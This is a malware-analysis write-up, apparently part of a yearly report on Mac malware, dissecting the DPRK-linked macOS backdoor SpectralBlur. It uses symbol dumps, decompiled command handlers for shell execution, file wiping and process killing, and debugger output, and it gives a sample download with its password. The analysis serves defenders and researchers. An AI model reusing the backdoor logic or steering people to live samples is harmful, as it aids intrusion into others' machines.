"...the malware attempts to exfiltrate the user's data to a remote server. The threat actor abuses AWS S3 cloud storage for this purpose using credentials hardcoded into the binary. The malware creates new repositories ('buckets') on the attacker’s Amazon S3 instance." -SentinelOne
The malware’s name derives from the fact that although it attempts to masquerade as a variant of the infamous LockBit ransomware, as (as noted by Phil), since the alleged LockBit authors have been arrested, “whoever is responsible for developing this malware is, with high probability, not LockBit.”
The majority of new malware targeting macOS in 2024 cannot be neatly categorized as solely stealers or ransomware. Rather, such malware gives remote attacker (sometimes persistent) access to an infect machine, allowing them to, well do pretty much whatever they like.
Sometimes this malware is designed by nation state adversaries (‘APTs’) as part of sophisticated cyber-espionage campaigns. Other times, the malware is more prosaic, designed by cyber-criminals whose sole interest is indiscriminate financially gain.
SpectralBlur
SpectralBlur was the first new macOS malware of 2024. Attributed to the DPRK, the malware is a fairly standard (albeit non-persistent) backdoor that supports basic capabilities such as download, upload, and execute.
Download: SpectralBlur
(password: infect3d
)
Not three days into 2024 Greg Lesnewich tweeted the following:
#100DaysofYARA day 03 - talking SpectralBlur, a MacOS (and other OS 🤫) backdoor linked to TA444/Bluenoroff, that I suspect is a cousin of the KandyKorn family our pals at Elastic found! https://t.co/P2TGw98UR6 pic.twitter.com/Y8U3hsjNiF
— Greg Lesnewich (@greglesnewich) January 3, 2024
In both his twitter (err, X) thread and in a subsequent posting he provided a comprehensive background and triage of the malware dubbed SpectralBlur
. In terms of its capabilities he noted:
SpectralBlur is a moderately capable backdoor, that can upload/download files, run a shell, update its configuration, delete files, hibernate or sleep, based on commands issued from the C2. -Greg
He also pointed out similarities to/overlaps with the DPRK malware known as KandyKorn
(that we covered in our “Mac Malware of 2024” report), while also pointing out there was differences, leading him to conclude:
We can see some similarities ... to the KandyKorn. But these feel like families developed by different folks with the same sort of requirements. -Greg
Writeups:
“100DaysofYARA - SpectralBlur” -Greg Lesnewich
“Analyzing DPRK’s SpectralBlur” -Objective-See
Infection Vector: Unknown
It is not known how SpectralBlur
is deployed to macOS users. What is known is that the SpectralBlur sample was initially submitted to VirusTotal on 2023-08-16
from Colombia (CO). Interestingly in VirusTotal’s telemetric data, we can also see that at least one of Objective-See’s tools (which, integrate with VirusTotal, for example to allow users to submit unrecognized files) encountered the malware in the wild too …how cool!
Persistence: None
Although backdoors usually persist, SpectralBlur
does not contain any code to persistent itself. One possibility is another component, maybe the one that is used to distribute the malware in the first place, also persists this backdoor.
Capabilities: Backdoor
Starting with nm
we can extract symbols which will include the malware’s function names, as well as APIs that the malware calls into (“imports”). Let’s start with just function names, which will be found the __TEXT
segment/section: __text
. We can use nm
’s -s
to limit its output to just a specified segment/section:
% nm -s __TEXT __text SpectralBlur/.macshare 0000000100001540 T _hangout 00000001000034f0 T _init 0000000100001570 T _init_fcontext 0000000100001870 T _load_config 0000000100003650 T _main 0000000100002a10 T _mainprocess 0000000100003370 T _mainthread 00000001000031c0 T _openchannel 00000001000029a0 T _proc_die 0000000100001b10 T _proc_dir 0000000100002420 T _proc_download 0000000100002290 T _proc_download_content 00000001000027e0 T _proc_getcfg 00000001000028c0 T _proc_hibernate 00000001000019f0 T _proc_none 00000001000029d0 T _proc_restart 00000001000025a0 T _proc_rmfile 0000000100002860 T _proc_setcfg 0000000100001a90 T _proc_shell 0000000100002930 T _proc_sleep 0000000100001a20 T _proc_stop 00000001000026b0 T _proc_testconn 0000000100002160 T _proc_upload 0000000100002040 T _proc_upload_content 00000001000015f0 T _read_packet 0000000100001930 T _save_config 0000000100001500 T _sigchild 00000001000011f0 T _socket_close 0000000100000d10 T _socket_connect 0000000100001140 T _socket_recv 00000001000010c0 T _socket_send 0000000100000be0 T _wait_read 0000000100001730 T _write_packet 00000001000017e0 T _write_packet_value 0000000100001270 T _xcrypt
Looks like functions dealing with a config (e.g., load_config
), network communications (e.g., socket_recv
, socket_send
), and encryption (xcrypt
). But also then, standard backdoor capabilities implemented (as noted by Greg), in function prefixed with proc
.
And what about the APIs the malware imports to call into? Again we can use nm
, this time the -u
flag:
% nm -m SpectralBlur/.macshare _connect _dup2 _execve ... _fork _fread _fwrite ... _gethostbyname _getlogin _getpwuid _getsockopt _grantpt ... _ioctl _kill ... _pthread_create _rand _recv _send _socket _unlink _waitpid _write ...
From these imports we can surmise that the malware performs file I/O (fread
, fwrite
, unlink
), network I/O (socket
, recv
, send
), and spawning/managing processes (execve
, fork
, kill
).
We’ll see these APIs are invoked by the malware often in response to commands. For example, the malware’s proc_rmfile
function invokes the unlink
API to remove a file:
1int proc_rmfile(int arg0, int arg1) {
2 var_10 = arg1;
3 var_18 = var_10 + 0x10;
4 ...
5 unlink(var_18);
6 ...
At the start of the malware disassembly it calls into a function named init
. Here, it builds a path to its config, and then opens it. The path is built by appending .d
to the malware’s binary full path:
init(...){
_sprintf_chk(config, 0x0, 0x41a, "%s.d", malwaresPath);
...
loadConfig(...)
}
We can confirm this in a debugger, where at a call to fopen
(in the load_config
function) the malware will attempt to open the file macshare.d
, in the directory where the malware is currently running (e.g. /Users/user/Downloads/
).
% lldb /Users/user/Downloads/macshare (lldb) * thread #1, queue = 'com.apple.main-thread' macshare`load_config: -> 0x100001890 <+32>: callq 0x100003d8c ; symbol stub for: fopen Target 0: (macshare) stopped. (lldb) x/s $rdi 0x100008820: "/Users/user/Downloads/macshare.d"
We can also see this in a File Monitor:
# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter macshare { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Downloads/macshare.d", "process" : { "pid" : 6818, "name" : "macshare", "path" : "/Users/user/Downloads/macshare" } } }
By looking at its cross-references (xrefs), we can see the xcrypt
function is invoked to encrypt/decrypt the malware’s config and network traffic:
…the xcrypt
function according to ChatGPT appears to be a custom stream cipher. While static analysis shows that the key may be stored at the start of this config (address 0x100008c3a
), and set to random 64bit value:
*qword_100008c3a = sign_extend_64(rand()) + time(0x0) + sign_extend_64(rand() * rand());
Back to the config file, unfortunately, I (currently) don’t have access an example config. Thus some of our continued analysis is based solely on static analysis.
Once the init
function returns (which loaded the config), that malware performs a myriad of actions that appear to complicate dynamic analysis and perhaps detection. This including fork
ing itself, but also setting up a pseduo-terminal via posix_openpt
(as noted by Phil Stokes):
…this is followed by more forks, execs, and more. Again, if I had to guess, this simply to complicate analysis (and/or perhaps, making it a detached/“isolated” process complicated detections)? We’ll also see that the psuedo-terminal is used to execute shell commands from the attacker’s remote C&C server.
Regardless we can skip over this all, and simply continue execution (or static analysis) where a new thread (named _mainthread
) is spawned. After invoking functions such as openchannel
and socket_connect
to likely connect to its C&C server (whose address likely would be found in the malware’s config: macshare.d
), it invokes a function named mainprocess
.
The mainprocess
function (eventually) invokes the read_packet
function which appears to return the index of a command. The code in mainprocess
function then iterates over an array named _procs
in order to find the handler for the specified command (that I’ve named commandHandler
in the below disassembly). The command handler is then directly invoked:
1int mainprocess(int arg0, int arg1) {
2
3 var_558 = read_packet(...);
4 if (var_558 != 0x0) goto loc_100002dfc;
5
6loc_100002dfc:
7 var_560 = *(var_558 + 0x8);
8 commandHandler = 0x0;
9 addrOfProcs = _procs;
10 do {
11 var_5C1 = 0x0;
12 if (*addrOfProcs != 0x0) {
13 var_5C1 = (var_568 != 0x0 ? 0x1 : 0x0) ^ 0xff;
14 }
15 if ((var_5C1 & 0x1) == 0x0) {
16 break;
17 }
18 if (*addrOfProcs == var_560) {
19 commandHandler = *(addrOfProcs + 0x4);
20 }
21 addrOfProcs = addrOfProcs + 0xc;
22 } while (true);
23
24
25 var_538 = (commandHandler)(var_530, var_558);
26
27}
After creating a custom structure (procStruct
) for this array, we can see each command number and its handler:
procs:
0x0000000100008000 struct procStruct {
0x1,
_proc_none
}
0x000000010000800c struct procStruct {
0x2,
_proc_shell
}
0x0000000100008018 struct procStruct {
0x3,
_proc_dir
}
0x0000000100008024 struct procStruct {
0x4,
_proc_upload
}
0x0000000100008030 struct procStruct {
0x5,
_proc_upload_content
}
0x000000010000803c struct procStruct {
0x6,
_proc_download
}
0x0000000100008048 struct procStruct {
0x7,
_proc_rmfile
}
0x0000000100008054 struct procStruct {
0x8,
_proc_testconn
}
0x0000000100008060 struct procStruct {
0x9,
_proc_getcfg
}
0x000000010000806c struct procStruct {
0xa,
_proc_setcfg
}
0x0000000100008078 struct procStruct {
0xb,
_proc_hibernate
}
0x0000000100008084 struct procStruct {
0xc,
_proc_sleep
}
0x0000000100008090 struct procStruct {
0xd,
_proc_die
}
0x000000010000809c struct procStruct {
0xe,
_proc_stop
}
0x00000001000080a8 struct procStruct {
0xf,
_proc_restart
}
Recall we saw the names of each command handler (_proc_*
) in the output of nm
. And, though we can guess the likely capability of eahc command from its name, let’s look a few to confirm.
The proc_rmfile
will remove a file by invoking the unlink
API. However, we can also see that it first opens the file (fopen
) and overwrites its contents with zero:
1int proc_rmfile(int arg0, int arg1) {
2 var_4 = arg0;
3 var_10 = arg1;
4 var_18 = var_10 + 0x10;
5 file = fopen(var_18, "rb+");
6 if (file != 0x0) {
7 fseek(file, 0x0, 0x2);
8 var_28 = ftell(file);
9 fseek(file, 0x0, 0x0);
10 var_30 = 0x5000;
11 if (var_28 < var_30) {
12 var_30 = var_28;
13 }
14 var_38 = malloc(var_30);
15 _memset_chk(var_38, 0x0, var_30, 0xffffffffffffffff);
16 fwrite(var_38, 0x1, var_30, file);
17 free(var_38);
18 fclose(file);
19 }
20 rdx = unlink(var_18);
21 rax = 0x0;
22 if (rdx == 0x0) {
23 rax = 0x1;
24 }
25 return _write_packet_value(var_4, *var_10, rax);
26}
…each command will also report a result by invoking the malware write_packet_value
API.
The proc_restart
will terminate the child process:
1int main(...)
2
3 call fork
4 mov dword [childPID], eax
5
6int proc_restart(int arg0, int arg1)
7
8 kill(*childPID, 0x9);
9 return write_packet_value(arg0, *arg1, 0x0);
Finally, let’s look at the proc_shell
, which executed a command by write
‘ing to the pseudo-terminal that was opened (via posix_openpt
) previously:
1int main(...)
2
3 call posix_openpt
4 mov dword [pt], eax
5
6int proc_shell(...) {
7 var_8 = arg0;
8 var_10 = arg1;
9 if (write(*pt, var_10 + 0x10, strlen(var_10 + 0x10)) <= 0x0) {
10 var_4 = _write_packet_value(var_8, *var_10, 0x0);
11 }
The other commands execute actions consistent with their respective names.